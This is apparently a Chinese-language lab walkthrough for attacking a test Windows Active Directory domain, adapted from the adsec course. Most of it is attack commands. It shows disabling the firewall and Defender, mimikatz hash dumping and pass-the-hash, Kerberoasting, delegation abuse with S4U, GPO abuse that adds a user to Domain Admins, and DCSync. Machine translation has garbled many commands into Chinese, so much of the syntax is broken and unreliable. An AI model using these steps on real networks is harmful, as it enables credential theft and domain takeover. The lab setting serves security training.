刚入门的小伙伴京东或者淘宝买这本书可以去看看
Windows Server 2012 R2系统配置指南_戴有伟编着
文章是根据https://github.com/cfalta/adse c改编的。
https://github.com/cfalta/adsec/tree/main/lab-setup
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
卸载-WindowsFeature -Name Windows-Defender
安装-WindowsFeature -Name AD-Domain-Services -IncludeManagementTools
在两台成员机器上使用以下两个域账号注册
用john登录user1这台机器,当做点,再分配一张网卡,让他出网。
默认工具包下载地址
https://github.com/cfalta/adsec/blob/main/exercises/attacker-tools
导入电源模块
cd C: \a ttacker-tools cat -raw " .\PowerView.ps1 " | 交换器
获取当前域的基本信息和域控位置
过滤出域管出来
获取域用户| ? { $_ .memberof -like " *域管理员* " } 获取域用户| ? { $_ .memberof -like " *域管理员* " } | 选择 相同的帐户名
参考答案我会选择最后面哦
需要管理员权限,使用本地管理员用户登录
特权::调试 令牌::提升 lsadump::sam
获得到管理员哈希
7dfa0531d73101ca080c7379a9bff1c7 pth 攻击
sekurlsa::pth /user:Administrator /ntlm:7dfa0531d73101ca080c7379a9bff1c7 /domain:wing.lab
预习资料网络——AS-REP Roasting
加载插件
cd C: \a ttacker-tools 猫生的。\ PowerView.ps1 | 交换器 猫生的。\I nvoke-Rubeus.ps1 | 交换器
查询SPN,获得服务用户
获取域用户-SPN | 选择 samaccountname、 description、pwdlastset、serviceprincipalname
Rubeus 有一个统计 kerberos 数据的功能
Invoke-Rubeus -Command " kerberoast /stats "
获取目标账户的TGS
Invoke-Rubeus -Command " kerberoast /user:taskservice /format:hashcat /outfile:krb5tgs.txt "
这里的脚本是base64之后通过powershell内存加载
函数 调用-Rubeus([string]$Command) { $Message = " base64 " ; $Assembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String( $Message )) [Rubeus.Program]::Main( $Command .Split( " " )) }
破解TGS
. \j ohn.exe .. \. . \k rb5tgs.txt --wordlist=.. \. . \e xample.dict --rules=passphrase-rule2
Get-DomainUser -TrustedToAuth
视委派的目标
Get-DomainUser -TrustedToAuth | 选择 -ExpandProperty msds-allowedtodelegateto
Invoke-Rubeus -Command " hash /password:Amsterdam2015 /domain:wing.lab /user:service1 "
Rubeus 允许在新的登录会话中启动 powershell。只有在这个时候我们即将的票证会话中,不会干扰用户john 已经的kerboers 票证。使用s4u 请求一个TGS 模拟域管理用户Bruce(bwillis) )攻击user1。我们请求3个不同服务的票证CIFS将用于SMB访问HOST/ RPCS for WMI
调用-鲁伯-Command “ S4U /用户:服务1 / AES256:BE09389D798B17683B105FF6432BA4FD4785DA5A08BFD3F39328A6525433E073 / impersonateuser:bwillis /msdsspn:cifs/user1.wing.lab / PTT ” 调用-鲁伯-Command “ S4U /用户:服务1 / AES256:BE09389D798B17683B105FF6432BA4FD4785DA5A08BFD3F39328A6525433E073 / impersonateuser: bwillis /msdsspn:host/user1.wing.lab / PTT “ 调用-鲁伯-Command ” S4U /用户:服务1 / AES256:BE09389D798B17683B105FF6432BA4FD4785DA5A08BFD3F39328A6525433E073 / impersonateuser:bwillis /msdsspn:rpcss/user1.wing.lab / PTT “
查看检查的报告自己前面
我设置错了,委派的目标应该设置成user2,user1 是,但都一样。
ls \\ user1.wing.lab \C $
通过wmi控制user1
Get-WmiObject -Class win32_process -ComputerName adsec-01.contoso.com
信息收集
猫生的。\S harpound.ps1 | 交换器
Invoke-Bloodhound -CollectionMethod DcOnly -Stealth -PrettyJson -NoSaveCache
runas /user:wing.lab \s ervice1 powershell
. \S harpGPOAbuse.exe --AddComputerTask --TaskName " Update " --Author contoso \a dminuser --Command " cmd.exe " --Arguments ' /c net group \"Domain Admins\" john /ADD ' --GPOName “默认域控制器策略” --force
权限维持的东西比较多
一般DC权限就先执行
lsadump::dcsync /user:krbtgt
powerview3.0 技巧
https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993
Get-DomainGroupMember -Identity “域管理员” -Recurse
获取域用户-SPN | 选择 serviceprincipalname,userprincipalname,pwdlastset,lastlogon
privilege::debug - 提升为管理员权限 token::elevate - 奖励奖励,获得其他用户的奖励系统权限
lsadump::dcsync /domain:wing.lab /user:bruce 转储所有数据 lsadump::dcsync /domain:wing.lab /all /csv
Get-DomainUser -PreauthNotRequired -Verbose
https://www.4hou.com/posts/YVyM
wmic /node:user1 process call create " cmd.exe /c net localgroup Administrators john /add "
acl 攻击有哪些利用工具?